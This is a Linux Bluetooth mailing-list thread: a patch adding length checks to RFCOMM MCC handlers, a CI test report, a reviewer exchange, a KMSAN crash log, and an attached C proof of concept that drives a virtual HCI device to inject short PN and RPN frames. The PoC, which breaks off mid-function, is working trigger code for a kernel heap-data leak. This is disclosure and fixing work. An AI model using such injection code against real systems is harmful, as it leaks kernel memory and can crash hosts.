Bluetooth: RFCOMM: validate skb length in MCC handlers

rfcomm_recv_pn(), rfcomm_recv_rpn(), rfcomm_recv_rls(), and rfcomm_recv_msc() cast skb->data to their respective structs without first checking skb->len. A remote device can send a short MCC frame, causing out-of-bounds reads from the skb buffer.

For rfcomm_recv_pn(), the uninitialized pn->mtu value is stored in d->mtu via rfcomm_apply_pn(), then echoed back to the remote device in the PN response, leaking kernel heap data.

This results in use of uninitialized memory, as reported by KMSAN.

Add explicit skb->len checks against the expected structure size at the start of each handler before accessing the payload.

=====================================================

BUG: KMSAN: uninit-value in rfcomm_run+0x7eae/0xee90
 rfcomm_run+0x7eae/0xee90
 kthread+0x53f/0x600
 ret_from_fork+0x20f/0x910
 ret_from_fork_asm+0x1a/0x30

Uninit was created at:

 kmem_cache_alloc_node_noprof+0x3cd/0x12d0
 __alloc_skb+0x855/0x1190
 vhci_write+0x125/0x960
 vfs_write+0xbe1/0x15c0
 ksys_write+0x1d9/0x470
 __x64_sys_write+0x97/0xf0
 x64_sys_call+0x2ff0/0x3ea0
 do_syscall_64+0x134/0xf80
 entry_SYSCALL_64_after_hwframe+0x77/0x7f

CPU: 0 UID: 0 PID: 3374 Comm: krfcommd Tainted: G        W           7.0.0-rc7
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996)
Kernel panic - not syncing: kmsan.panic set ...
=====================================================

---
 net/bluetooth/rfcomm/core.c | 40 +++++++++++++++++++++++++++++--------
 1 file changed, 32 insertions(+), 8 deletions(-)

index 611a9a94151e..daeba71a1514 100644
@@ -1431,9 +1431,15 @@ static int rfcomm_apply_pn(struct rfcomm_dlc *d, int cr, struct rfcomm_pn *pn)
 
 static int rfcomm_recv_pn(struct rfcomm_session *s, int cr, struct sk_buff *skb)
 {
-	struct rfcomm_pn *pn = (void *) skb->data;
+	struct rfcomm_pn *pn;
 	struct rfcomm_dlc *d;
-	u8 dlci = pn->dlci;
+	u8 dlci;
+
+	if (skb->len < sizeof(*pn))
+		return -EINVAL;
+
+	pn = (void *) skb->data;
+	dlci = pn->dlci;
 
 	BT_DBG("session %p state %ld dlci %d", s, s->state, dlci);
 

@@ -1483,8 +1489,8 @@ static int rfcomm_recv_pn(struct rfcomm_session *s, int cr, struct sk_buff *skb)
 
 static int rfcomm_recv_rpn(struct rfcomm_session *s, int cr, int len, struct sk_buff *skb)
 {
-	struct rfcomm_rpn *rpn = (void *) skb->data;
-	u8 dlci = __get_dlci(rpn->dlci);
+	struct rfcomm_rpn *rpn;
+	u8 dlci;
 
 	u8 bit_rate  = 0;
 	u8 data_bits = 0;

@@ -1495,6 +1501,12 @@ static int rfcomm_recv_rpn(struct rfcomm_session *s, int cr, int len, struct sk_
 	u8 xoff_char = 0;
 	u16 rpn_mask = RFCOMM_RPN_PM_ALL;
 
+	if (skb->len < sizeof(*rpn))
+		return -EINVAL;
+
+	rpn = (void *) skb->data;
+	dlci = __get_dlci(rpn->dlci);
+
 	BT_DBG("dlci %d cr %d len 0x%x bitr 0x%x line 0x%x flow 0x%x xonc 0x%x xoffc 0x%x pm 0x%x",
 		dlci, cr, len, rpn->bit_rate, rpn->line_settings, rpn->flow_ctrl,
 		rpn->xon_char, rpn->xoff_char, rpn->param_mask);

@@ -1589,8 +1601,14 @@ static int rfcomm_recv_rpn(struct rfcomm_session *s, int cr, int len, struct sk_
 
 static int rfcomm_recv_rls(struct rfcomm_session *s, int cr, struct sk_buff *skb)
 {
-	struct rfcomm_rls *rls = (void *) skb->data;
-	u8 dlci = __get_dlci(rls->dlci);
+	struct rfcomm_rls *rls;
+	u8 dlci;
+
+	if (skb->len < sizeof(*rls))
+		return -EINVAL;
+
+	rls = (void *) skb->data;
+	dlci = __get_dlci(rls->dlci);
 
 	BT_DBG("dlci %d cr %d status 0x%x", dlci, cr, rls->status);
 

@@ -1608,9 +1626,15 @@ static int rfcomm_recv_rls(struct rfcomm_session *s, int cr, struct sk_buff *skb
 
 static int rfcomm_recv_msc(struct rfcomm_session *s, int cr, struct sk_buff *skb)
 {
-	struct rfcomm_msc *msc = (void *) skb->data;
+	struct rfcomm_msc *msc;
 	struct rfcomm_dlc *d;
-	u8 dlci = __get_dlci(msc->dlci);
+	u8 dlci;
+
+	if (skb->len < sizeof(*msc))
+		return -EINVAL;
+
+	msc = (void *) skb->data;
+	dlci = __get_dlci(msc->dlci);
 
 	BT_DBG("dlci %d cr %d v24 0x%x", dlci, cr, msc->v24_sig);
 

2.52.0

This is automated email and please do not reply to this email!

Dear submitter,

Thank you for submitting the patches to the linux bluetooth mailing list. This is a CI test results with your patch series:
PW Link:https://patchwork.kernel.org/project/bluetooth/list/?series=1080259

---Test result---

Test Summary:

CheckPatch                    PENDING   0.52 seconds
GitLint                       PENDING   0.27 seconds
SubjectPrefix                 PASS      0.08 seconds
BuildKernel                   PASS      24.64 seconds
CheckAllWarning               PASS      27.00 seconds
CheckSparse                   PASS      25.67 seconds
BuildKernel32                 PASS      23.96 seconds
TestRunnerSetup               PASS      530.19 seconds
TestRunner_l2cap-tester       FAIL      28.87 seconds
TestRunner_iso-tester         PASS      38.61 seconds
TestRunner_bnep-tester        PASS      6.57 seconds
TestRunner_mgmt-tester        FAIL      118.31 seconds
TestRunner_rfcomm-tester      PASS      9.80 seconds
TestRunner_sco-tester         FAIL      14.74 seconds
TestRunner_ioctl-tester       PASS      10.65 seconds
TestRunner_mesh-tester        FAIL      12.57 seconds
TestRunner_smp-tester         PASS      8.90 seconds
TestRunner_userchan-tester    PASS      7.02 seconds
TestRunner_6lowpan-tester     FAIL      9.00 seconds
IncrementalBuild              PENDING   0.32 seconds

Details
##############################
Test: CheckPatch - PENDING
Desc: Run checkpatch.pl script
Output:

##############################
Test: GitLint - PENDING
Desc: Run gitlint
Output:

##############################
Test: TestRunner_l2cap-tester - FAIL
Desc: Run l2cap-tester with test-runner Output:
Total: 96, Passed: 95 (99.0%), Failed: 1, Not Run: 0

Failed Test Cases
L2CAP BR/EDR Server - Set PHY 3M Failed 0.119 seconds
##############################
Test: TestRunner_mgmt-tester - FAIL
Desc: Run mgmt-tester with test-runner Output:
Total: 494, Passed: 489 (99.0%), Failed: 1, Not Run: 4

Failed Test Cases
Read Exp Feature - Success Failed 0.110 seconds
##############################
Test: TestRunner_sco-tester - FAIL
Desc: Run sco-tester with test-runner
Output:
WARNING: possible circular locking dependency detected
7.0.0-rc2-g5632c26a4923 #1 Not tainted
------------------------------------------------------
kworker/u5:2/117 is trying to acquire lock:
ffff888001abe240 (sk_lock-AF_BLUETOOTH-BTPROTO_SCO){+.+.}-{0:0}, at: sco_connect_cfm+0x358/0x8d0

but task is already holding lock:
ffff8880025fd220 (&conn->lock){+.+.}-{3:3}, at: sco_connect_cfm+0x22d/0x8d0

which lock already depends on the new lock.

the existing dependency chain (in reverse order) is:

-> #1 (&conn->lock){+.+.}-{3:3}:

       lock_acquire+0xf7/0x2c0
       _raw_spin_lock+0x2a/0x40
       sco_sock_connect+0x4d7/0x1280
       __sys_connect+0x1a3/0x260
       __x64_sys_connect+0x6e/0xb0
       do_syscall_64+0xa0/0x570
       entry_SYSCALL_64_after_hwframe+0x74/0x7c

-> #0 (sk_lock-AF_BLUETOOTH-BTPROTO_SCO){+.+.}-{0:0}:

       check_prev_add+0xe9/0xc70
       __lock_acquire+0x1457/0x1df0
       lock_acquire+0xf7/0x2c0
       lock_sock_nested+0x36/0xd0
       sco_connect_cfm+0x358/0x8d0
       hci_sync_conn_complete_evt+0x3d3/0x8e0
       hci_event_packet+0x74f/0xb10
       hci_rx_work+0x398/0xd00
       process_scheduled_works+0xb16/0x1ac0
       worker_thread+0x4ff/0xba0
       kthread+0x368/0x490
       ret_from_fork+0x498/0x7e0
       ret_from_fork_asm+0x19/0x30

other info that might help us debug this:

...

BUG: sleeping function called from invalid context at net/core/sock.c:3782

in_atomic(): 1, irqs_disabled(): 0, non_block: 0, pid: 117, name: kworker/u5:2
preempt_count: 1, expected: 0
RCU nest depth: 0, expected: 0
INFO: lockdep is turned off.

CPU: 0 UID: 0 PID: 117 Comm: kworker/u5:2 Not tainted 7.0.0-rc2-g5632c26a4923 #1 PREEMPT(lazy) 
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.13.0-1ubuntu1.1 04/01/2014
Workqueue: hci0 hci_rx_work
Call Trace:
 <TASK>
 dump_stack_lvl+0x49/0x60
 __might_resched+0x2ea/0x500
 lock_sock_nested+0x47/0xd0
 ? sco_connect_cfm+0x358/0x8d0
 sco_connect_cfm+0x358/0x8d0
 ? hci_debugfs_create_conn+0x190/0x210
 ? __pfx_sco_connect_cfm+0x10/0x10
 hci_sync_conn_complete_evt+0x3d3/0x8e0
 hci_event_packet+0x74f/0xb10
 ? __pfx_hci_sync_conn_complete_evt+0x10/0x10
 ? __pfx_hci_event_packet+0x10/0x10
 ? mark_held_locks+0x49/0x80
 ? lockdep_hardirqs_on_prepare+0xd4/0x180
 ? _raw_spin_unlock_irqrestore+0x2c/0x50
 hci_rx_work+0x398/0xd00
 process_scheduled_works+0xb16/0x1ac0
 ? __pfx_process_scheduled_works+0x10/0x10
 ? lock_acquire+0xf7/0x2c0
 ? lock_is_held_type+0x9b/0x110
 ? __pfx_hci_rx_work+0x10/0x10
 worker_thread+0x4ff/0xba0
 ? _raw_spin_unlock_irqrestore+0x2c/0x50
 ? __pfx_worker_thread+0x10/0x10
 kthread+0x368/0x490
 ? _raw_spin_unlock_irq+0x23/0x40
 ? __pfx_kthread+0x10/0x10
 ret_from_fork+0x498/0x7e0
 ? __pfx_ret_from_fork+0x10/0x10
 ? __switch_to+0x9e4/0xe50
 ? __switch_to_asm+0x32/0x60

...
Total: 30, Passed: 30 (100.0%), Failed: 0, Not Run: 0
##############################
Test: TestRunner_mesh-tester - FAIL
Desc: Run mesh-tester with test-runner Output:
Total: 10, Passed: 8 (80.0%), Failed: 2, Not Run: 0

Failed Test Cases

Mesh - Send cancel - 1                               Timed out    2.538 seconds
Mesh - Send cancel - 2                               Timed out    1.993 seconds

##############################
Test: TestRunner_6lowpan-tester - FAIL
Desc: Run 6lowpan-tester with test-runner
Output:
WARNING: possible circular locking dependency detected 7.0.0-rc2-g5632c26a4923 #1 Not tainted
------------------------------------------------------
kworker/0:1/11 is trying to acquire lock:
ffff8880026f4940 ((wq_completion)hci0#2){+.+.}-{0:0}, at: touch_wq_lockdep_map+0x75/0x180

but task is already holding lock:
ffffffff86c4d720 (rtnl_mutex){+.+.}-{4:4}, at: lowpan_unregister_netdev+0xd/0x30

which lock already depends on the new lock.

the existing dependency chain (in reverse order) is:

-> #4 (rtnl_mutex){+.+.}-{4:4}:

       lock_acquire+0xf7/0x2c0
       __mutex_lock+0x16b/0x1fc0
       lowpan_register_netdev+0x11/0x30
       chan_ready_cb+0x836/0xd00
       l2cap_recv_frame+0x6a06/0x8920
       l2cap_recv_acldata+0x790/0xdf0
       hci_rx_work+0x500/0xd00
       process_scheduled_works+0xb16/0x1ac0
       worker_thread+0x4ff/0xba0
       kthread+0x368/0x490
       ret_from_fork+0x498/0x7e0
       ret_from_fork_asm+0x19/0x30

-> #3 (&chan->lock#3/1){+.+.}-{4:4}:

       lock_acquire+0xf7/0x2c0
       __mutex_lock+0x16b/0x1fc0
       l2cap_chan_connect+0x74e/0x1980
       lowpan_control_write+0x523/0x660
       full_proxy_write+0x10b/0x190
       vfs_write+0x1c0/0xf60
       ksys_write+0xf1/0x1d0
       do_syscall_64+0xa0/0x570
       entry_SYSCALL_64_after_hwframe+0x74/0x7c

-> #2 (&conn->lock){+.+.}-{4:4}:
...
Total: 8, Passed: 8 (100.0%), Failed: 0, Not Run: 0
##############################
Test: IncrementalBuild - PENDING
Desc: Incremental build with the patches in the series Output:

https://github.com/bluez/bluetooth-next/pull/70

---
Regards,
Linux Bluetooth

Dear SeungJu,

Thank you for the patch.

Am 12.04.26 um 06:54 schrieb SeungJu Cheon:

Nice catch. Do you have a reproducer to create such a short MCC frame?

Hi Paul,

Thanks for the review.

Yes, a PoC is attached. It uses VHCI to inject malformed (short) MCC frames.

Good point. I'll add a sizeof(struct rfcomm_mcc) check in rfcomm_recv_mcc() before accessing these fields in v2.

I'll review rfcomm_recv_frame() and add a minimum length check if needed.

You're right. In v2, I'll update rfcomm_recv_rpn() to first check 1 byte for DLCI, then validate full struct size only when len > 1.

Thanks,
SeungJu

[  441.374768][ T3375] =====================================================
[  441.375140][ T3375] BUG: KMSAN: uninit-value in rfcomm_run+0x7eae/0xee90
[  441.375422][ T3375]  rfcomm_run+0x7eae/0xee90
[  441.375620][ T3375]  kthread+0x53f/0x600
[  441.375801][ T3375]  ret_from_fork+0x20f/0x910
[  441.375998][ T3375]  ret_from_fork_asm+0x1a/0x30
[  441.376213][ T3375] 
[  441.376314][ T3375] Uninit was created at:
[  441.376520][ T3375]  kmem_cache_alloc_node_noprof+0x3cd/0x12d0
[  441.376771][ T3375]  __alloc_skb+0x855/0x1190
[  441.376968][ T3375]  vhci_write+0x125/0x960
[  441.377165][ T3375]  vfs_write+0xbe1/0x15c0
[  441.377353][ T3375]  ksys_write+0x1d9/0x470
[  441.377541][ T3375]  __x64_sys_write+0x97/0xf0
[  441.377742][ T3375]  x64_sys_call+0x2ff0/0x3ea0
[  441.377945][ T3375]  do_syscall_64+0x134/0xf80
[  441.378152][ T3375]  entry_SYSCALL_64_after_hwframe+0x77/0x7f
[  441.378396][ T3375] 
[  441.378503][ T3375] CPU: 1 UID: 0 PID: 3375 Comm: krfcommd Tainted: G        W           7.0.0-rc7-00227-g9a9c8ce300cd #5 PREEMPT(full) 
[  441.378984][ T3375] Tainted: [W]=WARN
[  441.379143][ T3375] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.17.0-9.fc43 06/10/2025
[  441.379513][ T3375] =====================================================
[  441.379782][ T3375] Disabling lock debugging due to kernel taint
[  441.380022][ T3375] Kernel panic - not syncing: kmsan.panic set ...
[  441.380282][ T3375] CPU: 1 UID: 0 PID: 3375 Comm: krfcommd Tainted: G    B   W           7.0.0-rc7-00227-g9a9c8ce300cd #5 PREEMPT(full) 
[  441.380763][ T3375] Tainted: [B]=BAD_PAGE, [W]=WARN
[  441.380969][ T3375] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.17.0-9.fc43 06/10/2025
[  441.381339][ T3375] Call Trace:
[  441.381477][ T3375]  <TASK>
[  441.381602][ T3375]  __dump_stack+0x26/0x30
[  441.381796][ T3375]  dump_stack_lvl+0x50/0x1c0
[  441.382000][ T3375]  ? dump_stack+0x12/0x25
[  441.382195][ T3375]  dump_stack+0x1e/0x25
[  441.382382][ T3375]  vpanic+0x7b4/0x1430
[  441.382573][ T3375]  panic+0x15d/0x160
[  441.382765][ T3375]  ? __msan_metadata_ptr_for_store_1+0x27/0x40
[  441.383042][ T3375]  kmsan_report+0x31a/0x320
[  441.383266][ T3375]  ? __msan_warning+0x1b/0x30
[  441.383481][ T3375]  ? rfcomm_run+0x7eae/0xee90
[  441.383694][ T3375]  ? kthread+0x53f/0x600
[  441.383889][ T3375]  ? ret_from_fork+0x20f/0x910
[  441.384104][ T3375]  ? ret_from_fork_asm+0x1a/0x30
[  441.384325][ T3375]  ? __msan_warning+0x1b/0x30
[  441.384536][ T3375]  ? filter_irq_stacks+0x13f/0x190
[  441.384764][ T3375]  ? kmsan_get_metadata+0xf1/0x160
[  441.384984][ T3375]  ? kmsan_internal_set_shadow_origin+0x7a/0x110
[  441.385262][ T3375]  ? kmsan_get_metadata+0xf1/0x160
[  441.385482][ T3375]  ? kmsan_get_metadata+0xf1/0x160
[  441.385699][ T3375]  ? kmsan_internal_set_shadow_origin+0x7a/0x110
[  441.385975][ T3375]  ? kmsan_get_metadata+0xf1/0x160
[  441.386200][ T3375]  ? kmsan_get_metadata+0xf1/0x160
[  441.386421][ T3375]  ? kmsan_get_shadow_origin_ptr+0x4a/0xb0
[  441.386669][ T3375]  ? __msan_metadata_ptr_for_store_8+0x27/0x40
[  441.386936][ T3375]  ? kmsan_get_metadata+0xf1/0x160
[  441.387162][ T3375]  __msan_warning+0x1b/0x30
[  441.387366][ T3375]  rfcomm_run+0x7eae/0xee90
[  441.387582][ T3375]  ? kmsan_get_metadata+0xf1/0x160
[  441.387807][ T3375]  ? __pfx_woken_wake_function+0x10/0x10
[  441.388054][ T3375]  kthread+0x53f/0x600
[  441.388244][ T3375]  ? __pfx_rfcomm_run+0x10/0x10
[  441.388464][ T3375]  ? __pfx_kthread+0x10/0x10
[  441.388670][ T3375]  ret_from_fork+0x20f/0x910
[  441.388874][ T3375]  ? __switch_to+0x51c/0x750
[  441.389087][ T3375]  ? __pfx_kthread+0x10/0x10
[  441.389295][ T3375]  ret_from_fork_asm+0x1a/0x30
[  441.389514][ T3375]  </TASK>
[  441.389958][ T3375] Kernel Offset: disabled
[  441.390138][ T3375] Rebooting in 86400 seconds..

#define _GNU_SOURCE

#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdint.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <signal.h>
#include <poll.h>

#define AF_BLUETOOTH    31
#define BTPROTO_RFCOMM  3
#define ACL_HANDLE      0x0040
#define L2CAP_CID_SIG   0x0001

#define RFCOMM_SABM     0x2f
#define RFCOMM_UA       0x63
#define RFCOMM_UIH      0xef
#define RFCOMM_MCC_PN   0x20
#define RFCOMM_MCC_RPN  0x24

#define RFCOMM_ADDR(cr, dlci) (((dlci) << 2) | ((cr) << 1) | 1) #define RFCOMM_CTRL(type, pf) (((type) & ~0x10) | ((pf) << 4))

static int vhci_fd;
static uint16_t local_cid = 0x0041;
static uint16_t remote_cid = 0x0040;

static const uint8_t crc_table[256] = {
    0x00, 0x91, 0xe3, 0x72, 0x07, 0x96, 0xe4, 0x75,
    0x0e, 0x9f, 0xed, 0x7c, 0x09, 0x98, 0xea, 0x7b,
    0x1c, 0x8d, 0xff, 0x6e, 0x1b, 0x8a, 0xf8, 0x69,
    0x12, 0x83, 0xf1, 0x60, 0x15, 0x84, 0xf6, 0x67,
    0x38, 0xa9, 0xdb, 0x4a, 0x3f, 0xae, 0xdc, 0x4d,
    0x36, 0xa7, 0xd5, 0x44, 0x31, 0xa0, 0xd2, 0x43,
    0x24, 0xb5, 0xc7, 0x56, 0x23, 0xb2, 0xc0, 0x51,
    0x2a, 0xbb, 0xc9, 0x58, 0x2d, 0xbc, 0xce, 0x5f,
    0x70, 0xe1, 0x93, 0x02, 0x77, 0xe6, 0x94, 0x05,
    0x7e, 0xef, 0x9d, 0x0c, 0x79, 0xe8, 0x9a, 0x0b,
    0x6c, 0xfd, 0x8f, 0x1e, 0x6b, 0xfa, 0x88, 0x19,
    0x62, 0xf3, 0x81, 0x10, 0x65, 0xf4, 0x86, 0x17,
    0x48, 0xd9, 0xab, 0x3a, 0x4f, 0xde, 0xac, 0x3d,
    0x46, 0xd7, 0xa5, 0x34, 0x41, 0xd0, 0xa2, 0x33,
    0x54, 0xc5, 0xb7, 0x26, 0x53, 0xc2, 0xb0, 0x21,
    0x5a, 0xcb, 0xb9, 0x28, 0x5d, 0xcc, 0xbe, 0x2f,
    0xe0, 0x71, 0x03, 0x92, 0xe7, 0x76, 0x04, 0x95,
    0xee, 0x7f, 0x0d, 0x9c, 0xe9, 0x78, 0x0a, 0x9b,
    0xfc, 0x6d, 0x1f, 0x8e, 0xfb, 0x6a, 0x18, 0x89,
    0xf2, 0x63, 0x11, 0x80, 0xf5, 0x64, 0x16, 0x87,
    0xd8, 0x49, 0x3b, 0xaa, 0xdf, 0x4e, 0x3c, 0xad,
    0xd6, 0x47, 0x35, 0xa4, 0xd1, 0x40, 0x32, 0xa3,
    0xc4, 0x55, 0x27, 0xb6, 0xc3, 0x52, 0x20, 0xb1,
    0xca, 0x5b, 0x29, 0xb8, 0xcd, 0x5c, 0x2e, 0xbf,
    0x90, 0x01, 0x73, 0xe2, 0x97, 0x06, 0x74, 0xe5,
    0x9e, 0x0f, 0x7d, 0xec, 0x99, 0x08, 0x7a, 0xeb,
    0x8c, 0x1d, 0x6f, 0xfe, 0x8b, 0x1a, 0x68, 0xf9,
    0x82, 0x13, 0x61, 0xf0, 0x85, 0x14, 0x66, 0xf7,
    0xa8, 0x39, 0x4b, 0xda, 0xaf, 0x3e, 0x4c, 0xdd,
    0xa6, 0x37, 0x45, 0xd4, 0xa1, 0x30, 0x42, 0xd3,
    0xb4, 0x25, 0x57, 0xc6, 0xb3, 0x22, 0x50, 0xc1,
    0xba, 0x2b, 0x59, 0xc8, 0xbd, 0x2c, 0x5e, 0xcf
};

static uint8_t fcs2(uint8_t a, uint8_t c)

{
    return 0xff - crc_table[crc_table[0xff ^ a] ^ c];
}

static uint8_t fcs3(uint8_t a, uint8_t c, uint8_t l)

{
    return 0xff - crc_table[crc_table[crc_table[0xff ^ a] ^ c] ^ l];
}

static void send_cc(uint16_t op, uint8_t *p, int len)

{
    uint8_t pkt[512] = {0x04, 0x0e, 3 + len, 1, op & 0xff, op >> 8};
    memcpy(pkt + 6, p, len);
    write(vhci_fd, pkt, 6 + len);
}

static void send_acl(uint16_t cid, uint8_t *data, int len)

{
    uint8_t pkt[512] = {
        0x02,
        ACL_HANDLE & 0xff,
        ((ACL_HANDLE >> 8) & 0x0f) | 0x20,
        (4 + len) & 0xff, (4 + len) >> 8,
        len & 0xff, len >> 8,
        cid & 0xff, cid >> 8
    };
    memcpy(pkt + 9, data, len);
    write(vhci_fd, pkt, 9 + len);
}

static void send_short_pn(uint8_t dlci)

{
    uint8_t a = RFCOMM_ADDR(1, 0);
    uint8_t c = RFCOMM_CTRL(RFCOMM_UIH, 0);
    uint8_t f[] = {a, c, (5<<1)|1, (RFCOMM_MCC_PN<<2)|3, (3<<1)|1,
                   dlci, 0xe0, 0x00, fcs2(a, c)};
    send_acl(remote_cid, f, sizeof(f));
}

static void send_short_rpn(uint8_t dlci)

{
    uint8_t a = RFCOMM_ADDR(1, 0);
    uint8_t c = RFCOMM_CTRL(RFCOMM_UIH, 0);
    uint8_t f[] = {a, c, (4<<1)|1, (RFCOMM_MCC_RPN<<2)|3, (2<<1)|1,
                   (dlci<<2)|3, 0x00, fcs2(a, c)};
    send_acl(remote_cid, f, sizeof(f));
}

static void rfcomm_client(void)

{
    struct { uint16_t family; uint8_t addr[6]; uint8_t channel; } sa = {0};

    while (access("/tmp/vhci_ready", F_OK)) usleep(100000);
    sleep(1);

    int fd = socket(AF_BLUETOOTH, SOCK_STREAM, BTPROTO_RFCOMM);
    sa.family = AF_BLUETOOTH;
    sa.addr[0] = 0xff; sa.addr[1] = 0xee; sa.addr[2] = 0xdd;
    sa.addr[3] = 0xcc; sa.addr[4] = 0xbb; sa.addr[5] = 0xaa;
    sa.channel = 1;
    connect(fd, (void *)&sa, sizeof(sa));
    while (1) sleep(1);
}

static void hci_cmd(uint8_t *buf)

{
    uint16_t op = buf[1] | (buf[2] << 8);

    switch (op) {
    case 0x0c03: case 0x0c01: case 0x0c45: case 0x0c52: case 0x080f: case 0x2074:
    case 0x0c16: case 0x0c18: case 0x0c19: case 0x0c1a: case 0x0c6d: case 0x0c46:
    case 0x0c24: case 0x0c13: case 0x2001:
        { uint8_t p[] = {0}; send_cc(op, p, 1); } break;

    case 0x0c58: case 0x0c38: case 0x0c39: case 0x0c44: case 0x2016: case 0x203b:
        { uint8_t p[] = {0, 0}; send_cc(op, p, 2); } break;

    case 0x0c25: case 0x100b:
        { uint8_t p[] = {0, 0, 0}; send_cc(op, p, 3); } break;

    case 0x0c23: { uint8_t p[] = {0, 0, 1, 0}; send_cc(op, p, 4); } break;
    case 0x2002: { uint8_t p[] = {0, 0xfb, 0, 8}; send_cc(op, p, 4); } break;
    case 0x0c1c: case 0x2023: { uint8_t p[] = {0,0,0,0,0}; send_cc(op, p, 5); } break;
    case 0x0c0d: { uint8_t p[] = {0, ACL_HANDLE&0xff, ACL_HANDLE>>8, 0, 0}; send_cc(op, p, 5); } break;
    case 0x100a: { uint8_t p[] = {0, 0, 4, 0, 8, 0}; send_cc(op, p, 6); } break;
    case 0x1009: { uint8_t p[] = {0, 0x11, 0x22, 0x33, 0x44, 0x55, 0x66}; send_cc(op, p, 7); } break;
    case 0x2060: case 0x2061: case 0x2062: { uint8_t p[7] = {0}; send_cc(op, p, 7); } break;
    case 0x1005: { uint8_t p[] = {0, 0, 4, 0x40, 8, 0, 8, 0}; send_cc(op, p, 8); } break;
    case 0x1001: case 0x1003: case 0x2003:
        { uint8_t p[] = {0, 0xff, 0xff, 0x8f, 0xfe, 0xdb, 0xff, 0x5b, 0x87}; send_cc(op, p, 9); } break;
    case 0x201c: case 0x202f:
        { uint8_t p[] = {0, 0xfb, 0, 0x48, 8, 0xfb, 0, 0x48, 8}; send_cc(op, p, 9); } break;
    case 0x1004: { uint8_t p[11] = {0}; p[3] = 7; send_cc(op, p, 11); } break;
    case 0x1002: { uint8_t p[65] = {0}; p[5]=0xff; p[6]=0xff; p[7]=0xff; p[14]=8; send_cc(op, p, 65); } break;
    case 0x0c14: { uint8_t p[249] = {0}; send_cc(op, p, 249); } break;

    case 0x0c12: {
        uint8_t p[] = {0, 0, 0}; send_cc(op, p, 3);
        static int ready = 0;
        if (!ready) { ready = 1; close(open("/tmp/vhci_ready", O_CREAT|O_WRONLY, 0644)); }
    } break;

    case 0x0405: {
        uint8_t cs[] = {0x04, 0x0f, 4, 0, 1, 5, 4};
        write(vhci_fd, cs, 7);
        usleep(100000);
        uint8_t cn[] = {0x04, 0x03, 11, 0, ACL_HANDLE&0xff, ACL_HANDLE>>8,
                        0xff, 0xee, 0xdd, 0xcc, 0xbb, 0xaa, 1, 0};
        write(vhci_fd, cn, 14);
    } break;

    case 0x041b: {
        uint8_t cs[] = {0x04, 0x0f, 4, 0, 1, 0x1b, 4};
        write(vhci_fd, cs, 7);
        usleep(50000);
        uint8_t ev[] = {0x04, 0x0b, 11, 0, ACL_HANDLE&0xff, ACL_HANDLE>>8,
                        0xff, 0xff, 0x8f, 0xfe, 0xdb, 0xff, 0x5b, 0x87};
        write(vhci_fd, ev, 14);
    } break;

    case 0x041c: {
        uint8_t cs[] = {0x04, 0x0f, 4, 0, 1, 0x1c, 4};
        write(vhci_fd, cs, 7);
        usleep(50000);
        uint8_t ev[] = {0x04, 0x23, 13, 0, ACL_HANDLE&0xff, ACL_HANDLE>>8,
                        1, 2, 7, 0, 0, 0, 0, 0, 0, 0};
        write(vhci_fd, ev, 16);
    } break;

    case 0x0419: {
        uint8_t cs[] = {0x04, 0x0f, 4, 0, 1, 0x19, 4};
        write(vhci_fd, cs, 7);
        usleep(50000);
        uint8_t ev[258] = {0x04, 0x07, 255, 0, 0xff, 0xee, 0xdd, 0xcc, 0xbb, 0xaa};
        write(vhci_fd, ev, 258);
    } break;

    default:
        { uint8_t p[] = {0}; send_cc(op, p, 1); } break;
    }
}

static void execute(void)

{
    uint8_t buf[512];
    int dlc_connected = 0;
    uint8_t dlci = 0;

    vhci_fd = open("/dev/vhci", O_RDWR);
    write(vhci_fd, "\xff\x00", 2);

    while (!dlc_connected) {
        struct pollfd pfd = {vhci_fd, POLLIN, 0};
        if (poll(&pfd, 1, 100) <= 0) continue;

        int len = read(vhci_fd, buf, 512);
        if (len <= 0) continue;

        if (buf[0] == 0x01) {
            hci_cmd(buf);
        }
        else if (buf[0] == 0x02 && len >= 9) {
            uint16_t cid = buf[7] | (buf[8] << 8);

            if (cid == L2CAP_CID_SIG) {
                uint8_t code = buf[9], id = buf[10];

                if (code == 0x02) {
                    local_cid = buf[15] | (buf[16] << 8);
                    uint8_t r[] = {3, id, 8, 0, remote_cid&0xff, remote_cid>>8,
                                   local_cid&0xff, local_cid>>8, 0, 0, 0, 0};
                    send_acl(L2CAP_CID_SIG, r, 12);
                }
                else if (code == 0x04) {
                    uint8_t r[] = {5, id, 6, 0, local_cid&0xff, local_cid>>8, 0, 0, 0, 0};
                    send_acl(L2CAP_CID_SIG, r, 10);
                    usleep(50000);
                    uint8_t c[] = {4, 0x10, 4, 0, local_cid&0xff, local_cid>>8, 0, 0};
                    send_acl(L2CAP_CID_SIG, c, 8);
                }
                else if (code == 0x0a) {
                    uint16_t t = buf[13] | (buf[14] << 8);
                    if (t == 2) {
                        uint8_t r[] = {0x0b, id, 8, 0, 2, 0, 0, 0, 0x80, 2, 0, 0};
                        send_acl(L2CAP_CID_SIG, r, 12);
                    } else if (t == 3) {
                        uint8_t r[] = {0x0b, id, 0x0c, 0, 3, 0, 0, 0, 6, 0, 0, 0, 0, 0, 0, 0};
                        send_acl(L2CAP_CID_SIG, r, 16);
                    }
                }
            }
            else if (cid == remote_cid && len >= 12) {
                uint8_t addr = buf[9], ctrl = buf[10];
                uint8_t d = (addr >> 2) & 0x3f;

                if ((ctrl & 0xef) == RFCOMM_SABM) {
                    uint8_t cr = (addr >> 1) & 1;
                    uint8_t ua_a = RFCOMM_ADDR(cr ? 0 : 1, d);
                    uint8_t ua_c = RFCOMM_CTRL(RFCOMM_UA, 1);
                    uint8_t ua[] = {ua_a, ua_c, 1, fcs3(ua_a, ua_c, 1)};
                    send_acl(remote_cid, ua, 4);
                    if (d) { dlci = d; dlc_connected = 1; }
                }
                else if ((ctrl & 0xef) == RFCOMM_UIH && d == 0 && len >= 14) {
                    if ((buf[12] >> 2) == RFCOMM_MCC_PN && (buf[12] & 2)) {
                        uint8_t pd = buf[14];
                        uint8_t a = RFCOMM_ADDR(1, 0);
                        uint8_t c = RFCOMM_CTRL(RFCOMM_UIH, 0);
                        uint8_t f[] = {a, c, (10<<1)|1, (RFCOMM_MCC_PN<<2)|1, (8<<1)|1,
                                       pd, 0xe0, 0, 0, 0x9b, 2, 0, 7, fcs2(a, c)};
